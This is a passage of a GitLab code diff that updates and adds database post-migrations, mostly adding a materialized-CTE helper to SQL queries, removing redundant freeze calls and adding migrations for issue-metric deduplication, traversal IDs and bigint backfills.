+ MERGE_REQUESTS_MIGRATION = 'SyncMergeRequestsStateId'
disable_ddl_transaction!
diff --git a/db/post_migrate/20191105094625_set_report_type_for_vulnerabilities.rb b/db/post_migrate/20191105094625_set_report_type_for_vulnerabilities.rb
index 5a8529c24d7..40e9e3bddc8 100644
--- a/db/post_migrate/20191105094625_set_report_type_for_vulnerabilities.rb
+++ b/db/post_migrate/20191105094625_set_report_type_for_vulnerabilities.rb
@@ -7,7 +7,7 @@ class SetReportTypeForVulnerabilities < ActiveRecord::Migration[5.2]
# set report_type based on vulnerability_occurrences from which the vulnerabilities were promoted,
# that is, first vulnerability_occurrences among those having the same vulnerability_id
execute <<~SQL
- WITH first_findings_for_vulnerabilities AS (
+ WITH first_findings_for_vulnerabilities AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT MIN(id) AS id, vulnerability_id
FROM vulnerability_occurrences
WHERE vulnerability_id IS NOT NULL
diff --git a/db/post_migrate/20191114173624_set_resolved_state_on_vulnerabilities.rb b/db/post_migrate/20191114173624_set_resolved_state_on_vulnerabilities.rb
index b28aecdc0a3..2900ef852a5 100644
--- a/db/post_migrate/20191114173624_set_resolved_state_on_vulnerabilities.rb
+++ b/db/post_migrate/20191114173624_set_resolved_state_on_vulnerabilities.rb
@@ -6,7 +6,7 @@ class SetResolvedStateOnVulnerabilities < ActiveRecord::Migration[5.2]
def up
execute <<~SQL
-- selecting IDs for all non-orphan Findings that either have no feedback or it's a non-dismissal feedback
- WITH resolved_vulnerability_ids AS (
+ WITH resolved_vulnerability_ids AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT DISTINCT vulnerability_id AS id
FROM vulnerability_occurrences
LEFT JOIN vulnerability_feedback ON vulnerability_feedback.project_fingerprint = ENCODE(vulnerability_occurrences.project_fingerprint::bytea, 'HEX')
diff --git a/db/post_migrate/20200305082754_remove_duplicate_labels_from_project.rb b/db/post_migrate/20200305082754_remove_duplicate_labels_from_project.rb
index 33f8118534d..4bb43da43bb 100644
--- a/db/post_migrate/20200305082754_remove_duplicate_labels_from_project.rb
+++ b/db/post_migrate/20200305082754_remove_duplicate_labels_from_project.rb
@@ -55,7 +55,7 @@ class RemoveDuplicateLabelsFromProject < ActiveRecord::Migration[6.0]
# project_id title template description type color
duplicate_labels = ApplicationRecord.connection.execute(<<-SQL.squish)
-WITH data AS (
+WITH data AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT labels.*,
row_number() OVER (PARTITION BY labels.project_id, labels.title, labels.template, labels.description, labels.type, labels.color ORDER BY labels.id) AS row_number,
#{CREATE} AS restore_action
@@ -83,7 +83,7 @@ WITH data AS (
# then add `_duplicate#{ID}`
soft_duplicates = ApplicationRecord.connection.execute(<<-SQL.squish)
-WITH data AS (
+WITH data AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT
*,
substring(title from 1 for 245 - length(id::text)) || '_duplicate' || id::text as new_title,
@@ -108,7 +108,7 @@ WHERE labels.id IN (#{soft_duplicates.map { |dup| dup["id"] }.join(", ")});
def restore_renamed_labels(start_id, stop_id)
# the backup label IDs are not incremental, they are copied directly from the Labels table
ApplicationRecord.connection.execute(<<-SQL.squish)
-WITH backups AS (
+WITH backups AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT id, title
FROM backup_labels
WHERE project_id BETWEEN #{start_id} AND #{stop_id} AND
diff --git a/db/post_migrate/20200325162730_schedule_backfill_push_rules_id_in_projects.rb b/db/post_migrate/20200325162730_schedule_backfill_push_rules_id_in_projects.rb
index 8ff3ab6aa0c..984f4f20441 100644
--- a/db/post_migrate/20200325162730_schedule_backfill_push_rules_id_in_projects.rb
+++ b/db/post_migrate/20200325162730_schedule_backfill_push_rules_id_in_projects.rb
@@ -5,7 +5,7 @@ class ScheduleBackfillPushRulesIdInProjects < ActiveRecord::Migration[6.0]
disable_ddl_transaction!
- MIGRATION = 'BackfillPushRulesIdInProjects'.freeze
+ MIGRATION = 'BackfillPushRulesIdInProjects'
BATCH_SIZE = 1_000
class PushRules < ActiveRecord::Base
diff --git a/db/post_migrate/20200406102120_backfill_deployment_clusters_from_deployments.rb b/db/post_migrate/20200406102120_backfill_deployment_clusters_from_deployments.rb
index 76b00796d1a..ab217ba92ab 100644
--- a/db/post_migrate/20200406102120_backfill_deployment_clusters_from_deployments.rb
+++ b/db/post_migrate/20200406102120_backfill_deployment_clusters_from_deployments.rb
@@ -17,7 +17,7 @@ class BackfillDeploymentClustersFromDeployments < ActiveRecord::Migration[6.0]
class Deployment < ActiveRecord::Base
include EachBatch
- default_scope { where('cluster_id IS NOT NULL') } # rubocop:disable Cop/DefaultScope
+ default_scope { where.not(cluster_id: nil) } # rubocop:disable Cop/DefaultScope
self.table_name = 'deployments'
end
diff --git a/db/post_migrate/20200416111111_migrate_vulnerability_dismissals.rb b/db/post_migrate/20200416111111_migrate_vulnerability_dismissals.rb
index 6ec8b991968..6ca3db8902b 100644
--- a/db/post_migrate/20200416111111_migrate_vulnerability_dismissals.rb
+++ b/db/post_migrate/20200416111111_migrate_vulnerability_dismissals.rb
@@ -7,7 +7,7 @@ class MigrateVulnerabilityDismissals < ActiveRecord::Migration[6.0]
disable_ddl_transaction!
- MIGRATION = 'UpdateVulnerabilitiesToDismissed'.freeze
+ MIGRATION = 'UpdateVulnerabilitiesToDismissed'
BATCH_SIZE = 500
DELAY_INTERVAL = 2.minutes.to_i
diff --git a/db/post_migrate/20200716234259_remove_duplicate_labels_from_group.rb b/db/post_migrate/20200716234259_remove_duplicate_labels_from_group.rb
index f19a209092b..114276df875 100644
--- a/db/post_migrate/20200716234259_remove_duplicate_labels_from_group.rb
+++ b/db/post_migrate/20200716234259_remove_duplicate_labels_from_group.rb
@@ -59,7 +59,7 @@ class RemoveDuplicateLabelsFromGroup < ActiveRecord::Migration[6.0]
# group_id title template description type color
duplicate_labels = ApplicationRecord.connection.execute(<<-SQL.squish)
-WITH data AS (
+WITH data AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT labels.*,
row_number() OVER (PARTITION BY labels.group_id, labels.title, labels.template, labels.description, labels.type, labels.color ORDER BY labels.id) AS row_number,
#{CREATE} AS restore_action
@@ -87,7 +87,7 @@ WITH data AS (
# then add `_duplicate#{ID}`
soft_duplicates = ApplicationRecord.connection.execute(<<-SQL.squish)
-WITH data AS (
+WITH data AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT
*,
substring(title from 1 for 245 - length(id::text)) || '_duplicate' || id::text as new_title,
@@ -112,7 +112,7 @@ WHERE labels.id IN (#{soft_duplicates.map { |dup| dup["id"] }.join(", ")});
def restore_renamed_labels(start_id, stop_id)
# the backup label IDs are not incremental, they are copied directly from the Labels table
ApplicationRecord.connection.execute(<<-SQL.squish)
-WITH backups AS (
+WITH backups AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT id, title
FROM backup_labels
WHERE id BETWEEN #{start_id} AND #{stop_id}
diff --git a/db/post_migrate/20200809221641_migrate_license_management_artifacts_to_license_scanning.rb b/db/post_migrate/20200809221641_migrate_license_management_artifacts_to_license_scanning.rb
index 0a5dfd72392..66ef4b35dfa 100644
--- a/db/post_migrate/20200809221641_migrate_license_management_artifacts_to_license_scanning.rb
+++ b/db/post_migrate/20200809221641_migrate_license_management_artifacts_to_license_scanning.rb
@@ -26,7 +26,7 @@ class MigrateLicenseManagementArtifactsToLicenseScanning < ActiveRecord::Migrati
min, max = relation.pluck('MIN(job_id)', 'MAX(job_id)').flatten
ActiveRecord::Base.connection.execute <<~SQL
- WITH ci_job_artifacts_with_row_number as (
+ WITH ci_job_artifacts_with_row_number as #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT job_id, id, ROW_NUMBER() OVER (PARTITION BY job_id ORDER BY id ASC) as row_number
FROM ci_job_artifacts
WHERE (file_type = #{LICENSE_SCANNING_FILE_TYPE} OR file_type = #{LICENSE_MANAGEMENT_FILE_TYPE})
diff --git a/db/post_migrate/20200811130433_create_missing_vulnerabilities_issue_links.rb b/db/post_migrate/20200811130433_create_missing_vulnerabilities_issue_links.rb
index 891201eaa52..031d9ea49e2 100644
--- a/db/post_migrate/20200811130433_create_missing_vulnerabilities_issue_links.rb
+++ b/db/post_migrate/20200811130433_create_missing_vulnerabilities_issue_links.rb
@@ -18,11 +18,11 @@ class CreateMissingVulnerabilitiesIssueLinks < ActiveRecord::Migration[6.0]
disable_ddl_transaction!
def up
- VulnerabilitiesFeedback.where('issue_id IS NOT NULL').each_batch do |relation|
+ VulnerabilitiesFeedback.where.not(issue_id: nil).each_batch do |relation|
timestamp = Time.now
issue_links = relation
.joins("JOIN vulnerability_occurrences vo ON vo.project_id = vulnerability_feedback.project_id AND vo.report_type = vulnerability_feedback.category AND encode(vo.project_fingerprint, 'hex') = vulnerability_feedback.project_fingerprint")
- .where('vo.vulnerability_id IS NOT NULL')
+ .where.not('vo.vulnerability_id' => nil)
.pluck(:vulnerability_id, :issue_id)
.map do |v_id, i_id|
{
diff --git a/db/post_migrate/20200831065705_ensure_target_project_id_is_filled.rb b/db/post_migrate/20200831065705_ensure_target_project_id_is_filled.rb
index 9b267933b04..8693dca0000 100644
--- a/db/post_migrate/20200831065705_ensure_target_project_id_is_filled.rb
+++ b/db/post_migrate/20200831065705_ensure_target_project_id_is_filled.rb
@@ -32,7 +32,7 @@ class EnsureTargetProjectIdIsFilled < ActiveRecord::Migration[6.0]
)
MergeRequestMetrics.connection.execute <<-SQL
- WITH target_project_id_and_metrics_id as (
+ WITH target_project_id_and_metrics_id as #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
#{query_for_cte.to_sql}
)
UPDATE #{MergeRequestMetrics.connection.quote_table_name(MergeRequestMetrics.table_name)}
diff --git a/db/post_migrate/20200930144340_set_job_waiter_ttl.rb b/db/post_migrate/20200930144340_set_job_waiter_ttl.rb
index b15faa61dea..347fa4be5a0 100644
--- a/db/post_migrate/20200930144340_set_job_waiter_ttl.rb
+++ b/db/post_migrate/20200930144340_set_job_waiter_ttl.rb
@@ -3,7 +3,7 @@
class SetJobWaiterTtl < ActiveRecord::Migration[6.0]
DOWNTIME = false
- SCRIPT = <<~LUA.freeze
+ SCRIPT = <<~LUA
if redis.call("ttl", KEYS[1]) < 0 then
redis.call("expire", KEYS[1], 21600)
end
diff --git a/db/post_migrate/20201014142521_schedule_sync_blocking_issues_count.rb b/db/post_migrate/20201014142521_schedule_sync_blocking_issues_count.rb
index 61b2b2aaad5..30a8ea591da 100644
--- a/db/post_migrate/20201014142521_schedule_sync_blocking_issues_count.rb
+++ b/db/post_migrate/20201014142521_schedule_sync_blocking_issues_count.rb
@@ -7,7 +7,7 @@ class ScheduleSyncBlockingIssuesCount < ActiveRecord::Migration[6.0]
BATCH_SIZE = 50
DELAY_INTERVAL = 120.seconds.to_i
- MIGRATION = 'SyncBlockingIssuesCount'.freeze
+ MIGRATION = 'SyncBlockingIssuesCount'
disable_ddl_transaction!
diff --git a/db/post_migrate/20201208175117_schedule_backfilling_artifact_expiry_migration.rb b/db/post_migrate/20201208175117_schedule_backfilling_artifact_expiry_migration.rb
index 1ffe9abbc58..56db148afe6 100644
--- a/db/post_migrate/20201208175117_schedule_backfilling_artifact_expiry_migration.rb
+++ b/db/post_migrate/20201208175117_schedule_backfilling_artifact_expiry_migration.rb
@@ -5,7 +5,7 @@ class ScheduleBackfillingArtifactExpiryMigration < ActiveRecord::Migration[6.0]
DOWNTIME = false
SWITCH_DATE = Time.utc(2020, 6, 22).freeze
- INDEX_NAME = 'expired_artifacts_temp_index'.freeze
+ INDEX_NAME = 'expired_artifacts_temp_index'
INDEX_CONDITION = "expire_at IS NULL AND created_at < '#{SWITCH_DATE}'"
disable_ddl_transaction!
diff --git a/db/post_migrate/20210105030125_cleanup_projects_with_bad_has_external_wiki_data.rb b/db/post_migrate/20210105030125_cleanup_projects_with_bad_has_external_wiki_data.rb
index 73725062bb3..bc90a5f48ea 100644
--- a/db/post_migrate/20210105030125_cleanup_projects_with_bad_has_external_wiki_data.rb
+++ b/db/post_migrate/20210105030125_cleanup_projects_with_bad_has_external_wiki_data.rb
@@ -4,7 +4,7 @@ class CleanupProjectsWithBadHasExternalWikiData < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
DOWNTIME = false
- TMP_INDEX_NAME = 'tmp_index_projects_on_id_where_has_external_wiki_is_true'.freeze
+ TMP_INDEX_NAME = 'tmp_index_projects_on_id_where_has_external_wiki_is_true'
BATCH_SIZE = 100
disable_ddl_transaction!
@@ -45,7 +45,7 @@ class CleanupProjectsWithBadHasExternalWikiData < ActiveRecord::Migration[6.0]
.merge(Project.where(has_external_wiki: false).where(pending_delete: false).where(archived: false))
execute(<<~SQL)
- WITH project_ids_to_update (id) AS (
+ WITH project_ids_to_update (id) AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
#{scope_with_projects.to_sql}
)
UPDATE projects SET has_external_wiki = true WHERE id IN (SELECT id FROM project_ids_to_update)
@@ -75,7 +75,7 @@ class CleanupProjectsWithBadHasExternalWikiData < ActiveRecord::Migration[6.0]
Project.where(index_where).each_batch(of: BATCH_SIZE) do |relation|
relation_with_exists_query = relation.where('NOT EXISTS (?)', services_sub_query)
execute(<<~SQL)
- WITH project_ids_to_update (id) AS (
+ WITH project_ids_to_update (id) AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
#{relation_with_exists_query.select(:id).to_sql}
)
UPDATE projects SET has_external_wiki = false WHERE id IN (SELECT id FROM project_ids_to_update)
diff --git a/db/post_migrate/20210115220610_schedule_artifact_expiry_backfill.rb b/db/post_migrate/20210115220610_schedule_artifact_expiry_backfill.rb
index 44a76321495..4f49e8b75af 100644
--- a/db/post_migrate/20210115220610_schedule_artifact_expiry_backfill.rb
+++ b/db/post_migrate/20210115220610_schedule_artifact_expiry_backfill.rb
@@ -4,11 +4,11 @@ class ScheduleArtifactExpiryBackfill < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
DOWNTIME = false
- MIGRATION = 'BackfillArtifactExpiryDate'.freeze
+ MIGRATION = 'BackfillArtifactExpiryDate'
SWITCH_DATE = Date.new(2020, 06, 22).freeze
- INDEX_NAME = 'expired_artifacts_temp_index'.freeze
+ INDEX_NAME = 'expired_artifacts_temp_index'
OLD_INDEX_CONDITION = "expire_at IS NULL AND created_at < '#{SWITCH_DATE}'"
- INDEX_CONDITION = "expire_at IS NULL AND date(created_at AT TIME ZONE 'UTC') < '2020-06-22'::date".freeze
+ INDEX_CONDITION = "expire_at IS NULL AND date(created_at AT TIME ZONE 'UTC') < '2020-06-22'::date"
disable_ddl_transaction!
diff --git a/db/post_migrate/20210210221006_cleanup_projects_with_bad_has_external_issue_tracker_data.rb b/db/post_migrate/20210210221006_cleanup_projects_with_bad_has_external_issue_tracker_data.rb
index 4b8bf014066..7b17faeb4b4 100644
--- a/db/post_migrate/20210210221006_cleanup_projects_with_bad_has_external_issue_tracker_data.rb
+++ b/db/post_migrate/20210210221006_cleanup_projects_with_bad_has_external_issue_tracker_data.rb
@@ -4,7 +4,7 @@ class CleanupProjectsWithBadHasExternalIssueTrackerData < ActiveRecord::Migratio
include Gitlab::Database::MigrationHelpers
DOWNTIME = false
- TMP_INDEX_NAME = 'tmp_idx_projects_on_id_where_has_external_issue_tracker_is_true'.freeze
+ TMP_INDEX_NAME = 'tmp_idx_projects_on_id_where_has_external_issue_tracker_is_true'
BATCH_SIZE = 100
disable_ddl_transaction!
@@ -44,7 +44,7 @@ class CleanupProjectsWithBadHasExternalIssueTrackerData < ActiveRecord::Migratio
.merge(Project.where(has_external_issue_tracker: false).where(pending_delete: false))
execute(<<~SQL)
- WITH project_ids_to_update (id) AS (
+ WITH project_ids_to_update (id) AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
#{scope_with_projects.to_sql}
)
UPDATE projects SET has_external_issue_tracker = true WHERE id IN (SELECT id FROM project_ids_to_update)
@@ -71,7 +71,7 @@ class CleanupProjectsWithBadHasExternalIssueTrackerData < ActiveRecord::Migratio
Project.where(index_where).each_batch(of: BATCH_SIZE) do |relation|
relation_with_exists_query = relation.where('NOT EXISTS (?)', services_sub_query)
execute(<<~SQL)
- WITH project_ids_to_update (id) AS (
+ WITH project_ids_to_update (id) AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
#{relation_with_exists_query.select(:id).to_sql}
)
UPDATE projects SET has_external_issue_tracker = false WHERE id IN (SELECT id FROM project_ids_to_update)
diff --git a/db/post_migrate/20210224150506_reschedule_artifact_expiry_backfill.rb b/db/post_migrate/20210224150506_reschedule_artifact_expiry_backfill.rb
index af5c474e2ba..2c0fe405490 100644
--- a/db/post_migrate/20210224150506_reschedule_artifact_expiry_backfill.rb
+++ b/db/post_migrate/20210224150506_reschedule_artifact_expiry_backfill.rb
@@ -4,7 +4,7 @@ class RescheduleArtifactExpiryBackfill < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
DOWNTIME = false
- MIGRATION = 'BackfillArtifactExpiryDate'.freeze
+ MIGRATION = 'BackfillArtifactExpiryDate'
SWITCH_DATE = Date.new(2020, 06, 22).freeze
disable_ddl_transaction!
diff --git a/db/post_migrate/20210226120851_move_container_registry_enabled_to_project_features.rb b/db/post_migrate/20210226120851_move_container_registry_enabled_to_project_features.rb
index 7bc7a0e49f7..fce31110866 100644
--- a/db/post_migrate/20210226120851_move_container_registry_enabled_to_project_features.rb
+++ b/db/post_migrate/20210226120851_move_container_registry_enabled_to_project_features.rb
@@ -16,7 +16,10 @@ class MoveContainerRegistryEnabledToProjectFeatures < ActiveRecord::Migration[6.
end
def up
- queue_background_migration_jobs_by_range_at_intervals(Project, MIGRATION, 2.minutes, batch_size: BATCH_SIZE)
+ # no-op
+ # Superceded by db/post_migrate/20210401131948_move_container_registry_enabled_to_project_features2.rb
+
+ # queue_background_migration_jobs_by_range_at_intervals(Project, MIGRATION, 2.minutes, batch_size: BATCH_SIZE)
end
def down
diff --git a/db/post_migrate/20210226141517_dedup_issue_metrics.rb b/db/post_migrate/20210226141517_dedup_issue_metrics.rb
new file mode 100644
index 00000000000..8228d509e07
--- /dev/null
+++ b/db/post_migrate/20210226141517_dedup_issue_metrics.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+class DedupIssueMetrics < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ TMP_INDEX_NAME = 'tmp_unique_issue_metrics_by_issue_id'
+ OLD_INDEX_NAME = 'index_issue_metrics'
+ INDEX_NAME = 'index_unique_issue_metrics_issue_id'
+ BATCH_SIZE = 1_000
+
+ disable_ddl_transaction!
+
+ class IssueMetrics < ActiveRecord::Base
+ self.table_name = 'issue_metrics'
+
+ include EachBatch
+ end
+
+ def up
+ IssueMetrics.reset_column_information
+
+ last_metrics_record_id = IssueMetrics.maximum(:id) || 0
+
+ # This index will disallow further duplicates while we're deduplicating the data.
+ add_concurrent_index(:issue_metrics, :issue_id, where: "id > #{Integer(last_metrics_record_id)}", unique: true, name: TMP_INDEX_NAME)
+
+ IssueMetrics.each_batch(of: BATCH_SIZE) do |relation|
+ duplicated_issue_ids = IssueMetrics
+ .where(issue_id: relation.select(:issue_id))
+ .select(:issue_id)
+ .group(:issue_id)
+ .having('COUNT(issue_metrics.issue_id) > 1')
+ .pluck(:issue_id)
+
+ duplicated_issue_ids.each do |issue_id|
+ deduplicate_item(issue_id)
+ end
+ end
+
+ add_concurrent_index(:issue_metrics, :issue_id, unique: true, name: INDEX_NAME)
+ remove_concurrent_index_by_name(:issue_metrics, TMP_INDEX_NAME)
+ remove_concurrent_index_by_name(:issue_metrics, OLD_INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index(:issue_metrics, :issue_id, name: OLD_INDEX_NAME)
+ remove_concurrent_index_by_name(:issue_metrics, TMP_INDEX_NAME)
+ remove_concurrent_index_by_name(:issue_metrics, INDEX_NAME)
+ end
+
+ private
+
+ def deduplicate_item(issue_id)
+ issue_metrics_records = IssueMetrics.where(issue_id: issue_id).order(updated_at: :asc).to_a
+
+ attributes = {}
+ issue_metrics_records.each do |issue_metrics_record|
+ params = issue_metrics_record.attributes.except('id')
+ attributes.merge!(params.compact)
+ end
+
+ ActiveRecord::Base.transaction do
+ record_to_keep = issue_metrics_records.pop
+ records_to_delete = issue_metrics_records
+
+ IssueMetrics.where(id: records_to_delete.map(&:id)).delete_all
+ record_to_keep.update!(attributes)
+ end
+ end
+end
diff --git a/db/post_migrate/20210302150310_schedule_migrate_pages_to_zip_storage.rb b/db/post_migrate/20210302150310_schedule_migrate_pages_to_zip_storage.rb
new file mode 100644
index 00000000000..7f6d7ffe9b7
--- /dev/null
+++ b/db/post_migrate/20210302150310_schedule_migrate_pages_to_zip_storage.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+class ScheduleMigratePagesToZipStorage < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ MIGRATION = 'MigratePagesToZipStorage'
+ BATCH_SIZE = 10
+ BATCH_TIME = 5.minutes
+
+ disable_ddl_transaction!
+
+ class ProjectPagesMetadatum < ActiveRecord::Base
+ extend SuppressCompositePrimaryKeyWarning
+
+ include EachBatch
+
+ self.primary_key = :project_id
+ self.table_name = 'project_pages_metadata'
+ self.inheritance_column = :_type_disabled
+
+ scope :deployed, -> { where(deployed: true) }
+ scope :only_on_legacy_storage, -> { deployed.where(pages_deployment_id: nil) }
+ end
+
+ def up
+ queue_background_migration_jobs_by_range_at_intervals(
+ ProjectPagesMetadatum.only_on_legacy_storage,
+ MIGRATION,
+ BATCH_TIME,
+ batch_size: BATCH_SIZE,
+ primary_column_name: :project_id
+ )
+ end
+end
diff --git a/db/post_migrate/20210311045138_set_traversal_ids_for_gitlab_org_group_staging.rb b/db/post_migrate/20210311045138_set_traversal_ids_for_gitlab_org_group_staging.rb
new file mode 100644
index 00000000000..bcf872ded54
--- /dev/null
+++ b/db/post_migrate/20210311045138_set_traversal_ids_for_gitlab_org_group_staging.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+class SetTraversalIdsForGitlabOrgGroupStaging < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ return unless Gitlab.staging?
+
+ # namespace ID 9970 is gitlab-org on staging.
+ with_lock_retries do
+ execute(<<~SQL)
+ UPDATE
+ namespaces
+ SET
+ traversal_ids = cte.traversal_ids
+ FROM
+ (
+ WITH RECURSIVE cte(id, traversal_ids, cycle) AS (
+ VALUES
+ (9970, ARRAY[9970], false)
+ UNION ALL
+ SELECT
+ n.id,
+ cte.traversal_ids || n.id,
+ n.id = ANY(cte.traversal_ids)
+ FROM
+ namespaces n,
+ cte
+ WHERE
+ n.parent_id = cte.id
+ AND NOT cycle
+ )
+ SELECT
+ id,
+ traversal_ids
+ FROM
+ cte FOR
+ UPDATE
+ ) as cte
+ WHERE
+ namespaces.id = cte.id
+ AND namespaces.traversal_ids <> cte.traversal_ids
+ SQL
+ end
+ end
+
+ def down
+ return unless Gitlab.staging?
+
+ # namespace ID 9970 is gitlab-org on staging.
+ with_lock_retries do
+ execute(<<~SQL)
+ UPDATE
+ namespaces
+ SET
+ traversal_ids = '{}'
+ FROM
+ (
+ WITH RECURSIVE cte(id, traversal_ids, cycle) AS (
+ VALUES
+ (9970, ARRAY[9970], false)
+ UNION ALL
+ SELECT
+ n.id,
+ cte.traversal_ids || n.id,
+ n.id = ANY(cte.traversal_ids)
+ FROM
+ namespaces n,
+ cte
+ WHERE
+ n.parent_id = cte.id
+ AND NOT cycle
+ )
+ SELECT
+ id,
+ traversal_ids
+ FROM
+ cte FOR
+ UPDATE
+ ) as cte
+ WHERE
+ namespaces.id = cte.id
+ SQL
+ end
+ end
+end
diff --git a/db/post_migrate/20210311045139_set_traversal_ids_for_gitlab_org_group_com.rb b/db/post_migrate/20210311045139_set_traversal_ids_for_gitlab_org_group_com.rb
new file mode 100644
index 00000000000..8cef1f1cc2b
--- /dev/null
+++ b/db/post_migrate/20210311045139_set_traversal_ids_for_gitlab_org_group_com.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+class SetTraversalIdsForGitlabOrgGroupCom < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ return unless Gitlab.com?
+
+ # namespace ID 9970 is gitlab-org on .com
+ with_lock_retries do
+ execute(<<~SQL)
+ UPDATE
+ namespaces
+ SET
+ traversal_ids = cte.traversal_ids
+ FROM
+ (
+ WITH RECURSIVE cte(id, traversal_ids, cycle) AS (
+ VALUES
+ (9970, ARRAY[9970], false)
+ UNION ALL
+ SELECT
+ n.id,
+ cte.traversal_ids || n.id,
+ n.id = ANY(cte.traversal_ids)
+ FROM
+ namespaces n,
+ cte
+ WHERE
+ n.parent_id = cte.id
+ AND NOT cycle
+ )
+ SELECT
+ id,
+ traversal_ids
+ FROM
+ cte FOR
+ UPDATE
+ ) as cte
+ WHERE
+ namespaces.id = cte.id
+ AND namespaces.traversal_ids <> cte.traversal_ids
+ SQL
+ end
+ end
+
+ def down
+ return unless Gitlab.com?
+
+ # namespace ID 9970 is gitlab-org on .com
+ with_lock_retries do
+ execute(<<~SQL)
+ UPDATE
+ namespaces
+ SET
+ traversal_ids = '{}'
+ FROM
+ (
+ WITH RECURSIVE cte(id, traversal_ids, cycle) AS (
+ VALUES
+ (9970, ARRAY[9970], false)
+ UNION ALL
+ SELECT
+ n.id,
+ cte.traversal_ids || n.id,
+ n.id = ANY(cte.traversal_ids)
+ FROM
+ namespaces n,
+ cte
+ WHERE
+ n.parent_id = cte.id
+ AND NOT cycle
+ )
+ SELECT
+ id,
+ traversal_ids
+ FROM
+ cte FOR
+ UPDATE
+ ) as cte
+ WHERE
+ namespaces.id = cte.id
+ SQL
+ end
+ end
+end
diff --git a/db/post_migrate/20210311093723_add_partial_index_on_ci_pipelines_by_cancelable_status_and_users.rb b/db/post_migrate/20210311093723_add_partial_index_on_ci_pipelines_by_cancelable_status_and_users.rb
new file mode 100644
index 00000000000..176548be6e6
--- /dev/null
+++ b/db/post_migrate/20210311093723_add_partial_index_on_ci_pipelines_by_cancelable_status_and_users.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class AddPartialIndexOnCiPipelinesByCancelableStatusAndUsers < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_ci_pipelines_on_user_id_and_id_and_cancelable_status'
+ INDEX_FILTER_CONDITION = <<~SQL
+ ((status)::text = ANY (
+ ARRAY[
+ ('running'::character varying)::text,
+ ('waiting_for_resource'::character varying)::text,
+ ('preparing'::character varying)::text,
+ ('pending'::character varying)::text,
+ ('created'::character varying)::text,
+ ('scheduled'::character varying)::text
+ ]
+ ))
+ SQL
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_pipelines, [:user_id, :id], where: INDEX_FILTER_CONDITION, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_pipelines, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20210311120155_backfill_events_id_for_bigint_conversion.rb b/db/post_migrate/20210311120155_backfill_events_id_for_bigint_conversion.rb
new file mode 100644
index 00000000000..01e81c65eee
--- /dev/null
+++ b/db/post_migrate/20210311120155_backfill_events_id_for_bigint_conversion.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class BackfillEventsIdForBigintConversion < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ return unless should_run?
+
+ backfill_conversion_of_integer_to_bigint :events, :id, batch_size: 15000, sub_batch_size: 100
+ end
+
+ def down
+ return unless should_run?
+
+ Gitlab::Database::BackgroundMigration::BatchedMigration
+ .where(job_class_name: 'CopyColumnUsingBackgroundMigrationJob')
+ .where(table_name: 'events', column_name: 'id')
+ .where('job_arguments = ?', %w[id id_convert_to_bigint].to_json)
+ .delete_all
+ end
+
+ private
+
+ def should_run?
+ Gitlab.dev_or_test_env? || Gitlab.com?
+ end
+end
diff --git a/db/post_migrate/20210311120156_backfill_push_event_payload_event_id_for_bigint_conversion.rb b/db/post_migrate/20210311120156_backfill_push_event_payload_event_id_for_bigint_conversion.rb
new file mode 100644
index 00000000000..6b8595b3ad3
--- /dev/null
+++ b/db/post_migrate/20210311120156_backfill_push_event_payload_event_id_for_bigint_conversion.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class BackfillPushEventPayloadEventIdForBigintConversion < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ return unless should_run?
+
+ backfill_conversion_of_integer_to_bigint :push_event_payloads, :event_id, primary_key: :event_id,
+ batch_size: 15000, sub_batch_size: 100
+ end
+
+ def down
+ return unless should_run?
+
+ Gitlab::Database::BackgroundMigration::BatchedMigration
+ .where(job_class_name: 'CopyColumnUsingBackgroundMigrationJob')
+ .where(table_name: 'push_event_payloads', column_name: 'event_id')
+ .where('job_arguments = ?', %w[event_id event_id_convert_to_bigint].to_json)
+ .delete_all
+ end
+
+ private
+
+ def should_run?
+ Gitlab.dev_or_test_env? || Gitlab.com?
+ end
+end
diff --git a/db/post_migrate/20210317104032_set_iteration_cadence_automatic_to_false.rb b/db/post_migrate/20210317104032_set_iteration_cadence_automatic_to_false.rb
new file mode 100644
index 00000000000..c151551ae64
